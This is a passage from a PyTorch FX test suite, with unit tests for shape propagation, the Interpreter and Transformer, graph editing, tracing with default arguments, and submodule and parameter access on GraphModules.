output_shape : Optional[torch.Shape] = None output_stride : Optional[Tuple[int]] = None for node in tc_traced.graph.nodes: opcodes.add(node.op) if node.op == 'output': output_shape = node.args[0].meta['tensor_meta'].shape output_stride = node.args[0].meta['tensor_meta'].stride self.assertEqual(opcodes, set(['placeholder', 'get_attr', 'call_function', 'call_method', 'call_module', 'output'])) # Test shape propogation and make sure results match actual self.assertEqual(output_shape, ref_out.shape) self.assertEqual(output_stride, ref_out.stride()) def test_shape_prop_layout(self): class ConvTest(torch.nn.Module): def __init__(self): super().__init__() self.conv_mod = torch.nn.Conv2d(5, 5, 3) def forward(self, x): return self.conv_mod(x) # contiguous layout test_mod = ConvTest() traced = symbolic_trace(test_mod) x = torch.randn(5, 5, 224, 224) shape_prop.ShapeProp(traced).propagate(x) assert(all(node.meta['tensor_meta'].memory_format is torch.contiguous_format for node in traced.graph.nodes)) x_channels_last = x.contiguous(memory_format=torch.channels_last) traced.to(memory_format=torch.channels_last) shape_prop.ShapeProp(traced).propagate(x_channels_last) for node in traced.graph.nodes: # NB: the implementation of conv may not preserve the memory format, # unfortunately. The best we can do is just check that the placeholder # node is channels-last if node.op in {'placeholder'}: self.assertEqual(node.meta['tensor_meta'].memory_format, torch.channels_last) def test_shape_prop_aggregate(self): class ReturnTwo(torch.nn.Module): def forward(self, x): return (3, torch.sum(x)) class UnderTest(torch.nn.Module): def __init__(self): super().__init__() self.rt = ReturnTwo() def forward(self, x): return self.rt(x) ut = UnderTest() class RTTracer(torch.fx.Tracer): def is_leaf_module(self, m, module_qualified_name): return type(m) is ReturnTwo graph = RTTracer().trace(ut) mod = torch.fx.GraphModule(ut, graph) shape_prop.ShapeProp(mod).propagate(torch.rand(3, 4)) for node in mod.graph.nodes: if node.op == 'call_module': assert 'tensor_meta' in node.meta tensor_meta = node.meta['tensor_meta'] assert tensor_meta[0] == 3 assert tensor_meta[1].shape == torch.Size([]) def test_shape_prop_layout_3d(self): class ConvTest3d(torch.nn.Module): def __init__(self): super().__init__() self.conv_mod = torch.nn.Conv3d(5, 5, 3) def forward(self, x): return self.conv_mod(x) test_mod_3d = ConvTest3d() traced_3d = symbolic_trace(test_mod_3d) x_3d = torch.randn(5, 5, 224, 224, 15) shape_prop.ShapeProp(traced_3d).propagate(x_3d) assert(all(node.meta['tensor_meta'].memory_format is torch.contiguous_format for node in traced_3d.graph.nodes)) x_channels_last_3d = x_3d.contiguous(memory_format=torch.channels_last_3d) traced_3d.to(memory_format=torch.channels_last_3d) shape_prop.ShapeProp(traced_3d).propagate(x_channels_last_3d) for node in traced_3d.graph.nodes: # NB: the implementation of conv may not preserve the memory format, # unfortunately. The best we can do is just check that the placeholder # node is channels-last if node.op in {'placeholder'}: self.assertEqual(node.meta['tensor_meta'].memory_format, torch.channels_last_3d) def test_interpreter(self): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x): return self.linear(x + self.param).clamp(min=0.0, max=1.0) m = MyModule() gm = torch.fx.symbolic_trace(m) interpreter = Interpreter(gm) input = torch.randn(3, 4) self.assertEqual(interpreter.run(input), gm(input)) self.assertEqual(interpreter.run(input), m(input)) def test_interpreter_run_node_override(self): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x): return self.linear(x + self.param).clamp(min=0.0, max=1.0) m = MyModule() gm = torch.fx.symbolic_trace(m) class RunNodeInterpreter(Interpreter): def __init__(self, module): super().__init__(module) def run_node(self, n : Node) -> Any: result = super().run_node(n) n.cached_value = result return result input = torch.randn(3, 4) RunNodeInterpreter(gm).run(input) for node in gm.graph.nodes: assert hasattr(node, 'cached_value') def test_interpreter_onthefly_swap(self): def fn(x): return torch.sigmoid(x).neg() gm = torch.fx.symbolic_trace(fn) class NegSigmSwapInterpreter(Interpreter): def call_function(self, target : Target, args : Tuple, kwargs : Dict) -> Any: if target == torch.sigmoid: return torch.neg(*args, **kwargs) return super().call_function(n) def call_method(self, target : Target, args : Tuple, kwargs : Dict) -> Any: if target == 'neg': call_self, *args_tail = args return call_self.sigmoid(*args_tail, **kwargs) return super().call_method(n) input = torch.randn(3, 4) result = NegSigmSwapInterpreter(gm).run(input) self.assertEqual(result, torch.neg(input).sigmoid()) def test_interpreter_partial_eval(self): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x): return self.linear(x + self.param).clamp(min=0.0, max=1.0) gm = torch.fx.symbolic_trace(MyModule()) interp = Interpreter(gm) env = {} for node in gm.graph.nodes: if node.op == 'call_module' and node.target == 'linear': env[node] = torch.arange(0, 12, 1).reshape(3, 4) - 6.0 break assert len(env) == 1 x = torch.randn(3, 4) result = interp.run(x, initial_env=env) self.assertEqual(result, (torch.arange(0, 12, 1).reshape(3, 4) - 6.0).clamp(0.0, 1.0)) def test_interpreter_star_args(self): def with_star_args(x, *args): return x + args[0] gm = torch.fx.symbolic_trace(with_star_args) interp = Interpreter(gm) result = interp.run(torch.ones(3, 4), torch.ones(3, 4), torch.rand(3, 4)) self.assertEqual(result, torch.ones(3, 4) * 2.0) @skipIfNoTorchVision def test_interpreter_noop_resnet18(self): rn18 = torchvision_models.resnet18() transformed = torch.fx.Transformer(symbolic_trace(rn18)).transform() inp = torch.randn(5, 3, 224, 224) self.assertEqual(transformed(inp), rn18(inp)) @skipIfNoTorchVision def test_interpreter_gc_values(self): rn18 = torchvision_models.resnet18() interp = Interpreter(symbolic_trace(rn18)) inp = torch.rand(5, 3, 224, 224) out = interp.run(inp) env_key_names = set(n.name for n in interp.env.keys()) self.assertEqual(env_key_names, set(['output'])) def test_transformer_noop(self): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x): return self.linear(x + self.param).clamp(min=0.0, max=1.0) m = MyModule() gm = torch.fx.symbolic_trace(m) new_gm = Transformer(gm).transform() input = torch.randn(3, 4) self.assertEqual(new_gm(input), gm(input)) def test_transformer_op_swap(self): def fn(x): return torch.sigmoid(x).neg() gm = torch.fx.symbolic_trace(fn) class NegSigmSwapXformer(Transformer): def call_function(self, target : Target, args : Tuple, kwargs : Dict) -> Any: if target == torch.sigmoid: return torch.neg(*args, **kwargs) return super().call_function(n) def call_method(self, target : Target, args : Tuple, kwargs : Dict) -> Any: if target == 'neg': call_self, *args_tail = args return call_self.sigmoid(*args_tail, **kwargs) return super().call_method(n) transformed = NegSigmSwapXformer(gm).transform() input = torch.randn(3, 4) self.assertEqual(transformed(input), torch.neg(input).sigmoid()) def test_transformer_multi_outputs(self): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.param = torch.nn.Parameter(torch.rand(3, 4)) self.linear = torch.nn.Linear(4, 5) def forward(self, x): x = x + self.param out = self.linear(x) return x, out m = MyModule() gm = torch.fx.symbolic_trace(m) new_gm = Transformer(gm).transform() input = torch.randn(3, 4) self.assertEqual(new_gm(input), gm(input)) def test_fn_type_annotations(self): class Foo(torch.nn.Module): def forward(self, p : Pair, z : torch.Tensor, i : int) -> Dict[str, torch.Tensor]: return {'a': p.x + p.y + z + i} foo_scripted = torch.jit.script(Foo()) foo_scripted(Pair(torch.rand(5), torch.rand(5)), torch.rand(5), 3) fxed = symbolic_trace(Foo()) fxed_scripted = torch.jit.script(fxed) fxed_scripted(Pair(torch.rand(5), torch.rand(5)), torch.rand(5), 3) def test_fn_type_annotation_empty(self): def forward(a : List[torch.Tensor]): return a[0] torch.jit.script(symbolic_trace(forward)) def test_wrapped_method(self): def wrap_with_relu(fn): @functools.wraps(fn) def wrapper(*args, **kwargs): return torch.relu(fn(*args, **kwargs)) return wrapper class Foo(torch.nn.Module): @wrap_with_relu def forward(self, x, w): return torch.matmul(x, w) f = Foo() traced = symbolic_trace(f) x, w = torch.rand(3, 4), torch.rand(4, 4) self.assertTrue(any(n.target == torch.relu for n in traced.graph.nodes)) def test_empty_graph_codegen(self): graph = torch.fx.Graph() gm = torch.fx.GraphModule(torch.nn.Module(), graph) self.assertEqual(gm(), None) def test_sequential(self): m = torch.nn.Sequential(torch.nn.Conv2d(1, 1, 1)) gm = torch.fx.symbolic_trace(m) gm_copy = copy.deepcopy(gm) def test_ctx_mgr(self): @contextlib.contextmanager def do_nothing(): yield class M(torch.nn.Module): def __init__(self): super().__init__() @do_nothing() def forward(self, x): return torch.relu(x) m = M() self.checkGraphModule(m, (torch.rand(3, 4),)) def test_typename_print(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, args=(x,), type_expr=List[float]) output : torch.fx.Node = graph.output(b) self.assertTrue('typing.List[float]' in str(graph)) def test_ellipsis(self): class M(torch.nn.Module): def __init__(self): super().__init__() def forward(self, x, y): return x + y[:, 1:10, ...] traced = symbolic_trace(M()) x, y = torch.rand(5, 9, 3, 4), torch.rand(5, 15, 3, 4) self.assertEqual(traced(x, y), x + y[:, 1:10, ...]) def test_inf_nan(self): class FooMod(torch.nn.Module): def forward(self, x): return x + float('inf'), x + float('-inf'), x + float('nan') fm = FooMod() self.checkGraphModule(fm, (torch.rand(3, 4),)) def test_inf_nan_kwds(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_function', operator.add, (x, float('inf')), {}, name='inf') c : torch.fx.Node = graph.create_node('call_function', operator.add, (x, float('nan')), {}, name='nan') graph.output((b, c)) gm = torch.fx.GraphModule(torch.nn.Module(), graph) x = torch.rand(3, 4) self.assertEqual(gm(x), (x + float('inf'), x + float('nan'))) def test_deepcopy_recursion_depth(self): depth = sys.getrecursionlimit() + 20 g = torch.fx.Graph() x = g.placeholder('x') for i in range(depth): x = g.call_function(torch.relu, (x,)) g.output(x) copied_graph = copy.deepcopy(g) val_map = {} for orig_node, new_node in zip(g.nodes, copied_graph.nodes): val_map[orig_node] = new_node for orig_node, new_node in zip(g.nodes, copied_graph.nodes): orig_users = set(orig_node.users.keys()) orig_users_equiv = set(val_map[u] for u in orig_users) new_users = set(new_node.users.keys()) self.assertEqual(orig_users_equiv, new_users) @skipIfNoTorchVision def test_replace_uses(self): rn18 = torchvision_models.resnet18() class LowerReluTracer(torch.fx.Tracer): def is_leaf_module(self, m : torch.nn.Module, qualname : str): if isinstance(m, torch.nn.ReLU): return False return super().is_leaf_module(m, qualname) rn18_traced = GraphModule(rn18, LowerReluTracer().trace(rn18)) to_erase = [] for node in rn18_traced.graph.nodes: if node.op == 'call_function' and node.target in [torch.relu, torch.nn.functional.relu]: kwargs = node.kwargs.copy() # Neg doesn't have in-place kwargs.pop('inplace') with rn18_traced.graph.inserting_before(node): new_node = rn18_traced.graph.call_function( the_function=torch.neg, args=node.args, kwargs=node.kwargs) node.replace_all_uses_with(replace_with=new_node) to_erase.append(node) for node in to_erase: rn18_traced.graph.erase_node(node) def test_replace_input(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') y : torch.fx.Node = graph.create_node('placeholder', 'y') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, args=(x,)) output : torch.fx.Node = graph.output(b) b.replace_input_with(x, y) gm = torch.fx.GraphModule(torch.nn.Module(), graph) input_x = torch.randn(33, 44) input_y = torch.randn(11, 22) self.assertEqual(gm(input_x, input_y), torch.relu(input_y)) def test_insertion_point(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, args=(x,)) output : torch.fx.Node = graph.output(b) with graph.inserting_before(b): neg : torch.fx.Node = graph.call_function(the_function=torch.neg, args=(x,)) _, *relu_args = b.args b.args = (neg, *relu_args) gm = torch.fx.GraphModule(torch.nn.Module(), graph) input = torch.randn(33, 44) self.assertEqual(gm(input), torch.relu(torch.neg(input))) def test_update_args_api(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') y : torch.fx.Node = graph.create_node('placeholder', 'y') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, args=(x,)) output : torch.fx.Node = graph.output(b) orig_gm = torch.fx.GraphModule(torch.nn.Module(), graph) inp_x, inp_y = torch.randn(5, 3), torch.randn(3, 5) self.assertEqual(orig_gm(inp_x, inp_y), torch.relu(inp_x)) b.update_arg(0, y) new_gm = torch.fx.GraphModule(torch.nn.Module(), graph) self.assertEqual(new_gm(inp_x, inp_y), torch.relu(inp_y)) def test_update_kwargs_api(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') y : torch.fx.Node = graph.create_node('placeholder', 'y') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, kwargs={'input': x}) output : torch.fx.Node = graph.output(b) orig_gm = torch.fx.GraphModule(torch.nn.Module(), graph) inp_x, inp_y = torch.randn(5, 3), torch.randn(3, 5) self.assertEqual(orig_gm(inp_x, inp_y), torch.relu(inp_x)) b.update_kwarg('input', y) new_gm = torch.fx.GraphModule(torch.nn.Module(), graph) self.assertEqual(new_gm(inp_x, inp_y), torch.relu(inp_y)) def test_move_before(self): graph : torch.fx.Graph = torch.fx.Graph() x : torch.fx.Node = graph.create_node('placeholder', 'x') b : torch.fx.Node = graph.create_node('call_function', target=torch.relu, args=(x,)) output : torch.fx.Node = graph.output(b) neg : torch.fx.Node = graph.call_function(the_function=torch.neg, args=(x,)) _, *relu_args = b.args b.args = (neg, *relu_args) b.prepend(neg) gm = torch.fx.GraphModule(torch.nn.Module(), graph) input = torch.randn(33, 44) self.assertEqual(gm(input), torch.relu(torch.neg(input))) def test_erase_node_error(self): st = SimpleTest() traced = symbolic_trace(st) for node in traced.graph.nodes: # Test deleting with uses both in another Node and at the output if node.target in [operator.add, torch.relu]: with self.assertRaisesRegex(RuntimeError, 'but it still had .* users in the graph'): traced.graph.erase_node(node) def test_copy_it(self): d = immutable_dict([(3, 4), (5, 6)]) l = immutable_list([(3, 4), (5, 6)]) self.assertEqual(d, deepcopy(d)) self.assertEqual(l, deepcopy(l)) def test_get_torch_func_signature(self): for key in dir(torch): obj = getattr(torch, key) if callable(obj): schemas = get_signature_for_torch_op(obj) def test_find_uses(self): graph = torch.fx.Graph() x = torch.fx.Proxy(graph.placeholder('x')) y = torch.relu(x) z = x + x u = torch.neg(x) graph.output((y + z + u).node) graph.lint() users_of_x = x.node.users self.assertEqual(len(users_of_x), 3) expected_ops = set(['relu', 'add', 'neg']) for use in users_of_x: assert any(use.name.startswith(prefix) for prefix in expected_ops) def test_inline_graph(self): class InlineInto(torch.nn.Module): def forward(self, x): return torch.relu(x) class ToInline(torch.nn.Module): def forward(self, x): return torch.neg(x) inline_into = symbolic_trace(InlineInto()) to_inline = symbolic_trace(ToInline()) combined_graph = torch.fx.Graph() output_node = combined_graph.graph_copy(inline_into.graph, {}) input_node = list(to_inline.graph.nodes)[0] assert input_node and input_node.op == 'placeholder' val_map = {input_node : output_node} output = combined_graph.graph_copy(to_inline.graph, val_map) combined_graph.output(output) combined_module = torch.fx.GraphModule(torch.nn.Module(), combined_graph) input = torch.rand(3, 4) self.assertEqual(combined_module(input), input.relu().neg()) def test_multi_insert_point(self): graph = torch.fx.Graph() x = torch.fx.Proxy(graph.placeholder('x')) relu = torch.relu(x) with graph.inserting_before(relu.node): y = torch.neg(x) z = torch.tanh(y) graph.output((relu.node, z.node)) graph.lint() expected_ops = ['x', 'neg', 'tanh', 'relu'] for node, expected in zip(graph.nodes, expected_ops): assert expected in node.name def test_reassign_args_kwargs_uses(self): graph = torch.fx.Graph() x, y = Proxy(graph.placeholder('x')), Proxy(graph.placeholder('y')) z = x + y zed = z + z + z graph.output(zed.node) graph.lint() # zed = z + z + z -> zed = z + z + x zed.node.args = (zed.node.args[0], x.node) self.assertEqual(x.node.users.keys(), [z.node, zed.node]) # z = x + y -> z = y + y z.node.args = (y.node, y.node) self.assertEqual(x.node.users.keys(), [zed.node]) def test_trace_function(self): def foo(x, y): return torch.relu(x) + y x, y = torch.randn(3, 4), torch.randn(3, 4) self.checkGraphModule(foo, (x, y)) def test_trace_dict_int_keys(self): class ModWithDictArg(torch.nn.Module): def forward(self, d : Dict[int, torch.Tensor]): return d[42] class CallsModWithDict(torch.nn.Module): def __init__(self): super().__init__() self.m = ModWithDictArg() def forward(self, x): return self.m({42: x}) class MyTracer(torch.fx.Tracer): def is_leaf_module(self, m: torch.nn.Module, module_qualified_name : str) -> bool: return isinstance(m, ModWithDictArg) traced_graph = MyTracer().trace(CallsModWithDict()) def test_trace_dict_proxy_keys(self): class ModWithDictArg(torch.nn.Module): def forward(self, d : Dict[torch.Tensor, torch.Tensor]): return d[42] class CallsModWithDict(torch.nn.Module): def __init__(self): super().__init__() self.m = ModWithDictArg() def forward(self, x): return self.m({x: x}) class MyTracer(torch.fx.Tracer): def is_leaf_module(self, m: torch.nn.Module, module_qualified_name : str) -> bool: return isinstance(m, ModWithDictArg) with self.assertRaisesRegex(RuntimeError, 'cannot contain a Node'): traced_graph = MyTracer().trace(CallsModWithDict()) def test_direct_param_use(self): class TransposeTest(torch.nn.Module): def __init__(self): super().__init__() self.b = torch.nn.Parameter(torch.rand(4, 3)) def forward(self, x): return self.b class Foo(torch.nn.Module): def __init__(self): super().__init__() self.a = TransposeTest() def forward(self, x): return self.a.b, self.a.b.t(), self.a.b.view(12) traced = torch.fx.symbolic_trace(Foo()) assert(all('constant' not in node.target for node in traced.graph.nodes)) def test_single_default_arg(self): class M(torch.nn.Module): def __init__(self): super().__init__() def forward(self, y=1): return y m = M() self.checkGraphModule(m, ()) self.checkGraphModule(m, (3,)) def test_multiple_default_args(self): class M(torch.nn.Module): def __init__(self): super().__init__() def forward(self, y=1, z=2): return y + z m = M() self.checkGraphModule(m, ()) self.checkGraphModule(m, (3,)) self.checkGraphModule(m, (3, 4)) def test_regular_and_default_args(self): class M(torch.nn.Module): def __init__(self): super().__init__() def forward(self, x, y=1): return x + y m = M() self.checkGraphModule(m, (2,)) self.checkGraphModule(m, (2, 3)) def test_string_literal_return(self): class M(torch.nn.Module): def __init__(self): super().__init__() def forward(self): return "foo" m = M() self.checkGraphModule(m, ()) def test_namedtuple_return_qualname(self): class NamedTupReturn(torch.nn.Module): def forward(self, x): return MyNamedTup(x, x) traced = symbolic_trace(NamedTupReturn()) input = torch.rand(3, 4) self.assertEqual(traced(input), MyNamedTup(input, input)) def test_update_args_kwargs_yells_at_you(self): symtraced = symbolic_trace(SimpleTest()) node = next(iter(symtraced.graph.nodes)) with self.assertRaisesRegex(AttributeError, '__update_args_kwargs'): node.__update_args_kwargs((), {}) def test_torchbind_class_attribute_in_fx(self): if TEST_WITH_ROCM or IS_SANDCASTLE or IS_WINDOWS or IS_MACOS: self.skipTest("torch.classes._TorchScriptTesting._StackString is registered, skipping") class FooBar1234(torch.nn.Module): def __init__(self): super(FooBar1234, self).__init__() self.f = torch.classes._TorchScriptTesting._StackString(["3", "4"]) def forward(self): return self.f.top() m = FooBar1234() self.checkGraphModule(m, ()) def test_torchbind_class_attribute_in_fx_tensor_arg(self): if TEST_WITH_ROCM or IS_SANDCASTLE or IS_WINDOWS or IS_MACOS: self.skipTest("torch.classes._TorchScriptTesting._ReLUClass is registered, skipping") class FooBar2341(torch.nn.Module): def __init__(self): super(FooBar2341, self).__init__() self.f = torch.classes._TorchScriptTesting._ReLUClass() def forward(self, x): return self.f.run(x) m = FooBar2341() traced = symbolic_trace(m) input = torch.randn(3, 4) self.assertEqual(traced(input), m(input)) self.assertTrue(any(n.op == 'call_method' for n in traced.graph.nodes)) def test_script_method_trace(self): class Scripted(torch.nn.Module): def forward(self, x): return torch.relu(x) class Holder(torch.nn.Module): def __init__(self): super().__init__() self.s = torch.jit.script(Scripted()) def forward(self, x): return self.s(x) h = Holder() traced = symbolic_trace(h) input = torch.randn(3, 4) self.assertEqual(traced(input), h(input)) self.assertTrue(any(n.op == 'call_method' for n in traced.graph.nodes)) def test_namedtuple_return_trace(self): class NamedTupReturn(torch.nn.Module): def forward(self, x): return Pair(x, x) traced = symbolic_trace(NamedTupReturn()) input = torch.rand(3, 4) self.assertEqual(traced(input), Pair(input, input)) def test_return_type_exists(self): class ReturnTypeModule(torch.nn.Module): def other(self, x: List[str]) -> List[str]: return x def forward(self, x: List[str]) -> List[str]: return self.other(x) traced = symbolic_trace(ReturnTypeModule()) self.assertIn("-> typing_List[str]", traced._code) scripted = torch.jit.script(traced) self.assertIn("-> List[str]", scripted.code) def getitem_inner(self): class GetItemBase(torch.nn.Module): def __init__(self): super().__init__() self.register_buffer('pe', torch.randn(8, 8)) class GetItem1(GetItemBase): def forward(self, x): return self.pe[:, :x.size(0)] class GetItem2(GetItemBase): def forward(self, x): return self.pe[x.size(0)] class GetItem3(GetItemBase): def forward(self, x): return self.pe[4] # fx creates `self._tensor_constant0` here self.checkGraphModule(GetItem1(), [torch.zeros(4)]) self.checkGraphModule(GetItem2(), [torch.zeros(4)]) self.checkGraphModule(GetItem3(), [torch.zeros(4)]) @unittest.skipUnless(os.environ.get("FX_PATCH_GETITEM") == "1", "Will be checked in test_getitem_subproc") def test_getitem(self): self.getitem_inner() def test_getitem_subproc(self): # need to run this test in a subproc to work around: # https://github.com/pytorch/pytorch/issues/50710 proc = Process(target=run_getitem_target) proc.start() proc.join() self.assertEqual(proc.exitcode, 0) def test_user_friendly_call_provenance_with_function(self): def fn(x): return wrapper_fn(x) traced = torch.fx.symbolic_trace(fn) with self.assertRaisesRegex(RuntimeError, "'wrapper_fn' is " "being compiled since it was called" " from 'fn.forward'"): scripted = torch.jit.script(traced) def test_user_friendly_call_provenance_with_module(self): class M(torch.nn.Module): def forward(self, x): return wrapper_fn(x) traced = torch.fx.symbolic_trace(M()) with self.assertRaisesRegex(RuntimeError, "'wrapper_fn' is " "being compiled since it was called" " from 'M.forward'"): scripted = torch.jit.script(traced) def test_snake_case(self): class M(torch.nn.Module): def __init__(self): super(M, self).__init__() self.activations = torch.nn.ModuleDict([ ["snake_case", torch.nn.ReLU()], ["PascalCase", torch.nn.LeakyReLU()], ["ALL_CAPS", torch.nn.PReLU()] ]) def forward(self, x): a = self.activations["snake_case"](x) b = self.activations["PascalCase"](x) c = self.activations["ALL_CAPS"](x) return a, b, c traced = symbolic_trace(M()) check = [ ("activations_snake_case", "activations.snake_case"), ("activations_pascal_case", "activations.PascalCase"), ("activations_all_caps", "activations.ALL_CAPS") ] i = 0 for node in traced.graph.nodes: if node.op == "placeholder" or node.op == "output": continue name = check[i][0] target = check[i][1] self.assertEqual(name, node.name) self.assertEqual(target, node.target) i += 1 self.assertEqual(i, 3) def test_no_mutation(self): from torch.fx.immutable_collections import immutable_list x = immutable_list([3, 4]) with self.assertRaisesRegex(NotImplementedError, "new_args"): x[0] = 4 def test_partial_trace(self): class Foo(torch.nn.Module): def forward(self, x, y): if y: return 2 * x else: return x mod = Foo() mod_true = symbolic_trace(mod, concrete_args={'y': True}) mod_false = symbolic_trace(mod, concrete_args={'y': False}) self.assertEqual(mod_true(3, True), 6) print(mod_true.code) assert(any([i.target == torch._assert for i in mod_true.graph.nodes])) with self.assertRaises(AssertionError): mod_true(3, False) self.assertEqual(mod_false(3, False), 3) with self.assertRaises(AssertionError): mod_false(3, True) def f_higher(a, f): return f(a) nf = symbolic_trace(f_higher, concrete_args={'f': lambda x: x * 2}) self.assertEqual(nf(3, lambda x: x * 2), 6) def test_custom_traceback_raised_when_exception_source_is_graphmodule(self): class M(torch.nn.Module): def __init__(self): super(M, self).__init__() self.W = torch.nn.Parameter(torch.randn(5)) def forward(self, x): return torch.dot(self.W, x) traced = torch.fx.symbolic_trace(M()) out = [n for n in traced.graph.nodes if n.op == "output"][-1] with traced.graph.inserting_before(out): relu_out = traced.graph.call_method(method_name='relu', args=(out.args[0],)) out.args = (relu_out,) traced.recompile() with self.capture_stderr() as captured: with self.assertRaises(TypeError): traced(5) self.assertRegex(captured[0], r"Call using an FX-traced Module, line .* of the " r"traced Module's generated forward function:") def test_custom_traceback_not_raised_when_exception_source_is_submodule(self): class M(torch.nn.Module): def __init__(self): super().__init__() self.linear = torch.nn.Linear(3, 4) def forward(self, x): return self.linear(x) traced = torch.fx.symbolic_trace(M()) # Do not change this to `capture_stderr` or another context # manager without ensuring that the output is as expected try: traced(torch.rand(5, 5)) except RuntimeError: captured = traceback.format_exc() self.assertNotRegex(captured, r"Call using an FX-traced Module, line .* of the " r"traced Module's generated forward function:") def test_ast_rewriter_rewrites_assert(self): class M(torch.nn.Module): def forward(self, x: torch.Tensor, y: int, z: int): assert y == z return torch.add(x, x) ast_rewriter = RewritingTracer() graph = ast_rewriter.trace(M()) traced = GraphModule(ast_rewriter.root, graph, "gm") traced.graph.lint() def test_ast_rewriter_rewrites_assert_with_message(self): class M(torch.nn.Module): def forward(self, x: torch.Tensor, y: int, z: int): assert y == z, "msg" return torch.add(x, x) ast_rewriter = RewritingTracer() graph = ast_rewriter.trace(M()) traced = GraphModule(ast_rewriter.root, graph, "gm") traced.graph.lint() def test_ast_rewriter_reassigns_submodules(self): class M(torch.nn.Module): def __init__(self): super().__init__() self.bn = torch.nn.BatchNorm2d(100) def forward(self, x: torch.Tensor): return torch.add(x, x) ast_rewriter = RewritingTracer() graph = ast_rewriter.trace(M()) traced = GraphModule(ast_rewriter.root, graph, "gm") traced.graph.lint() def test_submodule_manipulation_API(self): class C(torch.nn.Module): def __init__(self): super(C, self).__init__() self.conv = torch.nn.Conv2d(16, 33, 3, stride=2) self.param = torch.nn.Parameter(torch.rand(2, 3)) def forward(self, x): return self.conv(torch.cat([self.param, x])) class B(torch.nn.Module): def __init__(self): super(B, self).__init__() self.linear = torch.nn.Linear(100, 200) self.register_buffer("buf", torch.randn(2, 3)) self.net_c = C() def forward(self, x): return self.linear(torch.cat([self.buf, self.net_c(x)])) class A(torch.nn.Module): def __init__(self): super(A, self).__init__() self.net_b = B() self.param = torch.nn.Parameter(torch.rand(2, 3)) def forward(self, x): return self.net_b(x) + self.param a = symbolic_trace(A()) a.add_submodule("net_b.net_c.dropout", torch.nn.Dropout(p=0.2)) conv = [n for n in a.graph.nodes if n.target == "net_b.net_c.conv"][-1] with a.graph.inserting_before(conv): dropout = a.graph.call_module(module_name="net_b.net_c.dropout", args=conv.args) conv.replace_all_uses_with(dropout) a.graph.erase_node(conv) a.recompile() def module_exists(gm: GraphModule, path: str) -> bool: return any(path == name for name, _ in gm.named_modules()) def parameter_exists(gm: GraphModule, path: str) -> bool: return (any(path == name for name, _ in gm.named_parameters()) and any(path == name for name in gm.state_dict().keys())) def buffer_exists(gm: GraphModule, path: str) -> bool: return (any(path == name for name, _ in gm.named_buffers()) and any(path == name for name in gm.state_dict().keys())) # Test that we added the "dropout" submodule self.assertTrue(module_exists(a, "net_b.net_c.dropout")) # Test `get_submodule` with an added submodule self.assertIsNotNone(a.get_submodule("net_b.net_c.dropout")) # Test that the "conv" submodule is still there self.assertTrue(module_exists(a, "net_b.net_c.conv")) # Test `get_submodule` with an original module self.assertIsNotNone(a.get_submodule("net_b.net_c.conv")) # Test that the "conv" node is NOT still there conv = [n for n in a.graph.nodes if n.target == "net_b.net_c.conv"] self.assertEqual(conv, []) a.delete_submodule("net_b.net_c.conv") # Test that the "conv" submodule is now gone self.assertFalse(module_exists(a, "net_b.net_c.conv")) # Test `get_submodule` with a deleted submodule with self.assertRaisesRegex(AttributeError, "has no attribute " "`conv`"): self.assertIsNone(a.get_submodule("net_b.net_c.conv")) # Test `get_attr` warnings cat = [n for n in a.graph.nodes if n.target == torch.cat][-1] with a.graph.inserting_before(cat): with warnings.catch_warnings(record=True) as w: param = a.graph.get_attr(qualified_name="net_b.net_c.param") self.assertEqual(len(w), 0) with self.assertWarnsRegex(UserWarning, "Attempted to " "insert a get_attr Node with no " "underlying reference in the " "owning GraphModule"): bad_param = a.graph.get_attr(qualified_name="net_b.param") a.graph.erase_node(bad_param) cat.args = (*cat.args, param) a.recompile() a.graph.lint() # Test `get_parameter` a.get_parameter("net_b.net_c.param") with self.assertRaisesRegex(AttributeError, "is not an " "nn.Parameter"): a.get_parameter("net_b.buf") with self.assertRaisesRegex(AttributeError, "has no attribute " "`param`"): a.get_parameter("net_b.param") # Test `get_buffer` a.get_buffer("net_b.buf") with self.assertRaisesRegex(AttributeError, "is not a " "buffer"): a.get_buffer("net_b.net_c.param") with self.assertRaisesRegex(AttributeError, "has no attribute " "`buf`"): a.get_buffer("net_b.net_c.buf") # Test non-nested attributes a.get_submodule("") a.get_parameter("param") # Insert some unused submodules a.add_submodule("net_b.embedding", torch.nn.Embedding(10, 3)) a.add_submodule("net_b.net_c.embedding", torch.nn.Embedding(10, 3)) a.add_submodule("net_b.net_c.rnn", torch.nn.RNN(10, 20, 2)) a.add_submodule("batch_norm_2d", torch.nn.BatchNorm2d(100)) # Garbage collection a.delete_all_unused_submodules() # Test that all the unused submodules are gone self.assertFalse(module_exists(a, "net_b.embedding")) self.assertFalse(module_exists(a, "net_b.net_c.embedding")) self.assertFalse(module_exists(a, "net_b.net_c.rnn")) self.assertFalse(module_exists(a, "batch_norm_2d")) # Test that we didn't delete any unused Parameters or buffers self.assertTrue(parameter_exists(a, "net_b.net_c.param")) self.assertTrue(buffer_exists(a, "net_b.buf")) a.graph.lint() def _test_graph_module_init_buffer_param_copied(self, use_dict_init: bool): class MyModule(torch.nn.Module): def __init__(self): super().__init__() self.register_buffer("my_buff", 